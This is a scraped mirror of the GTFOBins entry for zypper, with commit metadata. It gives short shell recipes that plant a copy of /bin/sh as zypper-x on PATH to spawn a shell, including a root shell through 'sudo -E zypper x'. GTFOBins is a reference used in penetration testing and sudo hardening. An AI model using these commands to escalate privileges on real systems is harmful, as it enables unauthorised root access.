1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/zypper.md
the-remmer 8c03983ab8 Add zypper
Close #52.
2019-02-22 12:51:30 +01:00

629 B

functions
shell sudo
description code
This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges. zypper x
code
TF=$(mktemp -d) cp /bin/sh $TF/zypper-x export PATH=$TF:$PATH zypper x
description code
This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges. sudo zypper x
code
TF=$(mktemp -d) cp /bin/sh $TF/zypper-x export PATH=$TF:$PATH sudo -E zypper x